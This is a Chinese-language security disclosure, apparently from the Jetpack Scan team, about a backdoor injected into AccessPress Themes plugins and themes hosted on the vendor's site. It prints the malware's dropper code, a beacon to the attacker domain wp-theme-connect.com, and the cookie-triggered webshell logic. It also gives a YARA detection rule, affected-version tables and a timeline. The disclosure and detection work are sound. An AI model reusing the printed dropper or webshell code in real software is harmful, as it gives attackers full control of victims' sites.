在 AccessPress 主题的主题和插件中发现后门
已发表: 2022-01-192 月 1 日更新 -更改了“受影响的主题”部分,以反映新版本的主题开始出现。
在调查一个受感染的网站时,我们在 AccessPress Themes(又名 Access Keys)的主题中发现了一些可疑代码,AccessPress Themes 是一家拥有大量流行主题和插件的供应商。 经过进一步调查,我们发现供应商的所有主题和大多数插件都包含此可疑代码,但前提是从他们自己的网站下载。 如果直接从 WordPress.org 目录下载或安装相同的扩展程序,则可以。
由于扩展被破坏的方式,我们怀疑外部攻击者已经破坏了 AccessPress Themes 的网站,试图使用他们的扩展来感染更多的网站。
我们立即联系了供应商,但起初我们没有收到回复。 在将其升级到 WordPress.org 插件团队后,我们的怀疑得到了证实。 AccessPress Themes 网站于 2021 年 9 月上半月遭到入侵,可在其网站上下载的扩展程序被注入了后门。
一旦我们建立了与供应商沟通的渠道,我们就会与他们分享我们的详细发现。 他们立即从他们的网站上删除了有问题的扩展。
大多数插件已经更新,已知的干净版本列在这篇文章的底部。 但是,受影响的主题尚未更新,而是从 WordPress.org 主题存储库中提取的。 如果您的网站上安装了本文底部列出的任何主题,我们建议您尽快迁移到新主题。
本公开涉及大量扩展,包括插件和主题。 跳到下面的列表,或继续阅读以了解详细信息。
细节:
供应商:AccessPress 主题
供应商网址:https://accesspressthemes.com
插件:多个
主题:多个
CVE:CVE-2021-24867
分析:
受感染的扩展程序包含一个 webshell 的释放器,使攻击者可以完全访问受感染的站点。 滴管位于主插件或主题目录中的文件inital.php
中。 运行时,它会在wp-includes/vars.php
中安装一个基于 cookie 的 webshell。 shell 作为一个函数安装在wp_is_mobile()
函数前面,名称为wp_is_mobile_fix()
。 这大概是为了不引起随便翻阅vars.php
文件的任何人的怀疑。
function makeInit() {
$b64 = 'ba' . 'se64' . '_dec' . 'ode';
$b = 'ZnVuY3Rpb2........TsKCg==';
$f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
if(file_exists($f)) {
$fp = 0777 & @fileperms($f);
$ft = @filemtime($f);
$fc = @file_get_contents($f);
if(strpos($fc, 'wp_is_mobile_fix') === false) {
$fc = str_replace('function wp_is_mobile()',
$b64($b) . 'function wp_is_mobile()',
$fc);
@file_put_contents($f, $fc);
@touch($f, $ft);
@chmod($f, $fp);
}
return true;
}
return false;
}
一旦安装了 shell,dropper 将通过从 URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg
加载远程图像,其中包含受感染站点的 url 和有关信息它使用哪个主题作为查询参数。 最后,它会删除 dropper 源文件以避免在请求执行完成时检测到。
function finishInit() {
unlink(__FILE__);
}
add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {
function wp_notice_plug() {
echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
}
}
register_shutdown_function('finishInit');
如果请求中的用户代理字符串是wp_is_mobile
并且请求包含八个特定的 cookie,则 webshell 本身会触发。 它将这些提供的 cookie 拼凑在一起并执行有效负载。
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
我们还看到了另一种可能较旧的后门变体,直接嵌入在主题/插件的functions.php
文件中。 此变体使用相同的机制,将来自 8 个 cookie 的有效负载拼凑在一起,但不过滤请求的用户代理字符串。
为确保 dropper 被执行,主插件文件(用于插件)或functions.php
文件(用于主题)已用代码修改以执行inital.php
文件(如果存在)。
if(is_admin()) {
add_action( "init", 'apap_plugin_check' );
}
function apap_plugin_check(){
if(file_exists(__DIR__ . "/inital.php")){
include(__DIR__ . "/inital.php");
}
}
受感染插件时间戳的一个引人注目的细节是它们都是从 9 月初开始的。 大多数文件来自 9 月 6 日和 7 日,少数文件来自 9 月 2 日和 3 日。同样的主题,除了 9 月 9 日的accessbuddy
之外,所有主题都在 9 月 22 日遭到破坏。
此外,zip-archives 中的时间戳非常统一,几乎所有文件都具有完全相同的时间戳,除了修改后的主插件文件和添加的 dropper 文件几分钟后(通常大约 2-5 分钟后)存档中的其他文件)。
然而,查看从wordpress.org
存储库下载的 zip 文件的时间戳,我们发现与插件/主题实际更新时间相对应的时间戳分布。 此外,存档中时间戳的分布不太统一,它反映了哪些文件在版本中更新,哪些文件与旧版本相比没有变化。
这向我们表明,来自 AccessPress Themes 网站的文件是故意修改的,并且是在最初发布后作为协调行动。 妥协似乎分两个阶段进行,一个用于插件,另一个用于主题。 他们每个人都有一些早期的尝试,可能是为了微调这个过程。
我们的调查只查看了 AccessPress Themes 网站上免费提供的主题和插件。 我们假设他们的付费专业主题也受到了类似的影响,但我们还没有检查过这些。 如果您有任何这些,请联系 AccessPress Themes 的支持以获得进一步的建议。
受影响的主题
如果您的站点上安装了以下任何主题,并且在Bad列中安装了版本号,我们建议您立即升级到Clean列中的版本。 值得注意的是,通过 WordPress.org 安装的主题是干净的,即使它们列在“坏”列中也是如此。 为了安全起见,我们仍然建议升级到已知的干净版本。
Clean列中没有版本号的主题尚未升级,如果可能,我们建议将其替换为另一个主题。
主题蛞蝓 | 坏的 | 干净的 |
---|---|---|
访问伙伴 | 1.0.0 | |
accesspress-基本 | 3.2.1 | 3.2.2 |
accesspress-lite | 2.92 | 2.93 |
accesspress-mag | 2.6.5 | 2.6.6 |
访问新闻视差 | 4.5 | 4.6 |
accesspress-ray | 1.19.5 | |
访问press-root | 2.5 | 2.6.0 |
accesspress-订书钉 | 1.9.1 | |
访问新闻商店 | 2.4.9 | 2.5.0 |
代理精简版 | 1.1.6 | 1.1.7 |
适当的 | 1.0.6 | |
短发 | 1.0.4 | 1.0.5 |
博主 | 1.2.6 | 1.2.7 |
建筑精简版 | 1.2.5 | 1.2.6 |
多科 | 1.0.27 | 1.1.0 |
开导 | 1.3.5 | 1.3.6 |
时装店 | 1.2.1 | |
摄影 | 2.4.0 | 2.4.1 |
嘎嘎公司 | 1.0.8 | |
gaga-lite | 1.4.2 | |
单次 | 2.2.8 | |
视差博客 | 3.1.1574941215 | |
视差体 | 1.3.6 | 1.3.7 |
蓬特 | 1.1.2 | 1.1.3 |
围绕 | 1.3.1 | |
波纹 | 1.2.0 | 1.2.1 |
滚动条 | 2.1.0 | |
体育杂志 | 1.2.1 | |
商店别墅 | 1.4.1 | 1.4.2 |
摇摆式 | 1.1.9 | 1.2.0 |
发射器 | 1.3.2 | 1.3.3 |
星期一 | 1.4.1 | |
未编码精简版 | 1.3.1 | |
unicon-lite | 1.2.6 | 1.2.7 |
vmag | 1.2.7 | 1.2.8 |
vmagazine-lite | 1.3.5 | 1.3.7 |
vmagazine-新闻 | 1.0.5 | 1.0.6 |
zigcy-宝贝 | 1.0.6 | 1.0.7 |
zigcy-化妆品 | 1.0.5 | 1.0.6 |
zigcy-lite | 2.0.9 | 2.1.0 |
受影响的插件
如果您在您的站点上安装了以下任何一个版本号在Bad列中的插件,我们建议您立即升级到Clean列中的版本。 值得注意的是,通过 WordPress.org 安装的插件是干净的,即使它们被列在Bad列中。 为了安全起见,我们仍然建议升级到已知的干净版本。

Clean列中没有版本号的插件尚未升级,我们建议尽可能将其替换为其他插件。
插件蛞蝓 | 坏的 | 干净的 | 笔记 |
---|---|---|---|
accesspress-匿名发布 | 2.8.0 | 2.8.1 | 1 |
accesspress-自定义-css | 2.0.1 | 2.0.2 | |
accesspress-custom-post-type | 1.0.8 | 1.0.9 | |
accesspress-facebook-auto-post | 2.1.3 | 2.1.4 | |
accesspress-instagram-feed | 4.0.3 | 4.0.4 | |
accesspress-pinterest | 3.3.3 | 3.3.4 | |
accesspress-社会计数器 | 1.9.1 | 1.9.2 | |
accesspress-social-icons | 1.8.2 | 1.8.3 | |
accesspress-social-login-lite | 3.4.7 | 3.4.8 | |
访问新闻社交分享 | 4.5.5 | 4.5.6 | |
accesspress-twitter-auto-post | 1.4.5 | 1.4.6 | |
accesspress-twitter-feed | 1.6.7 | 1.6.8 | |
ak-menu-icons-lite | 1.0.9 | ||
伴侣 | 1.0.7 | 2 | |
ap-联系表格 | 1.0.6 | 1.0.7 | |
ap-custom-testimonial | 1.4.6 | 1.4.7 | |
ap-mega-菜单 | 3.0.5 | 3.0.6 | |
应用定价表精简版 | 1.1.2 | 1.1.3 | |
顶点通知栏精简版 | 2.0.4 | 2.0.5 | |
cf7-store-to-db-lite | 1.0.9 | 1.1.0 | |
评论-禁用-访问 | 1.0.7 | 1.0.8 | |
简单的标签-cta | 1.0.7 | 1.0.8 | |
珠穆朗玛峰管理主题精简版 | 1.0.7 | 1.0.8 | |
即将到来的珠穆朗玛峰 | 1.1.0 | 1.1.1 | |
珠穆朗玛峰评论评级精简版 | 2.0.4 | 2.0.5 | |
everest-counter-lite | 2.0.7 | 2.0.8 | |
everest-faq-manager-lite | 1.0.8 | 1.0.9 | |
珠穆朗玛峰画廊精简版 | 1.0.8 | 1.0.9 | |
珠穆朗玛峰谷歌地方评论精简版 | 1.0.9 | 2.0.0 | |
珠穆朗玛峰评论精简版 | 1.0.7 | ||
珠穆朗玛峰-tab-lite | 2.0.3 | 2.0.4 | |
珠穆朗玛峰时间线精简版 | 1.1.1 | 1.1.2 | |
内联号召性用语构建器精简版 | 1.1.0 | 1.1.1 | |
woocommerce-lite 产品滑块 | 1.1.5 | 1.1.6 | |
智能标志展示精简版 | 1.1.7 | 1.1.8 | |
智能滚动帖子 | 2.0.8 | 2.0.9 | |
智能滚动到顶部精简版 | 1.0.3 | 1.0.4 | |
总 gdpr 合规性精简版 | 1.0.4 | ||
全团队精简版 | 1.1.1 | 1.1.2 | |
终极作者盒精简版 | 1.1.2 | 1.1.3 | |
终极形式建造者精简版 | 1.5.0 | 1.5.1 | |
woo-badge-designer-lite | 1.1.0 | 1.1.1 | |
wp-1-滑块 | 1.2.9 | 1.3.0 | |
wp-blog-manager-lite | 1.1.0 | 1.1.2 | |
wp-comment-designer-lite | 2.0.3 | 2.0.4 | |
wp-cookie-用户信息 | 1.0.7 | 1.0.8 | |
wp-facebook-review-showcase-lite | 1.0.9 | ||
wp-fb-messenger-button-lite | 2.0.7 | ||
wp-浮动菜单 | 1.4.4 | 1.4.5 | |
wp-media-manager-lite | 1.1.2 | 1.1.3 | |
wp-popup-banners | 1.2.3 | 1.2.4 | |
wp-popup-lite | 1.0.8 | ||
wp-产品-画廊-精简版 | 1.1.1 |
笔记:
- 该插件尚未更新,但被认为是干净的,因为 AccessPress 主题网站上的版本是旧版本。
- 该插件尚未更新,但被认为是干净的,因为它最初在 AccessPress 主题网站上不可用。
国际奥委会
以下 YARA 规则可用于检查站点是否已被感染。 它将检测感染的 dropper 部分以及已安装的 webshell。
rule accesspress_backdoor_infection
{
strings:
// IoC's for the dropper
$inject0 = "$fc = str_replace('function wp_is_mobile()',"
$inject1 = "$b64($b) . 'function wp_is_mobile()',"
$inject2 = "$fc);"
$inject3 = "@file_put_contents($f, $fc);"
// IoC's for the dumped payload
$payload0 = "function wp_is_mobile_fix()"
$payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
$payload2 = "$g = $_COOKIE;"
$payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
$url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
condition:
all of ( $inject* )
or all of ( $payload* )
or $url0
}
建议
如果您直接从 AccessPress Themes 或除 WordPress.org 以外的任何其他地方安装了任何主题或插件,则应立即升级到上表所示的安全版本。 如果没有可用的安全版本,请将其替换为来自 WordPress.org 的最新版本。
请注意,这不会从您的系统中删除后门,因此您需要重新安装干净的 WordPress 版本以恢复在安装后门期间所做的核心文件修改。
如果您有来自 AccessPress Themes/Access Keys 的付费主题或插件,我们建议您联系他们的支持以寻求帮助。
我们强烈建议您为您的站点制定包含恶意文件扫描和备份的安全计划。 Jetpack Security 是一种出色的 WordPress 安全选项,可确保您的网站和访问者的安全。 自 9 月 30 日以来,Jetpack Scan 已检测到此后门和 dropper 的所有变体。
时间线
2021-09-22:Jetpack Scan 团队在 FotoGraphy 主题中发现了 dropper 和后门,并尝试就初步发现联系供应商。
2021-09-27:确认从供应商网站下载的所有当前免费插件和主题中存在 dropper + 后门。
2021-09-28:确认从 wordpress.org 下载的文件中不存在 dropper + 后门
2021-09-29:尝试再次联系供应商,提供新发现的更新。
2021-10-14:升级到 WordPress 插件团队以尝试与供应商取得联系。
2021 年 10 月 15 日:从供应商的站点中删除了受损的扩展程序。
2021-10-16:供应商的回应
2022-01-17:大多数插件已升级到新版本,主题已从 WordPress.org 中提取。
2022-01-18 公开披露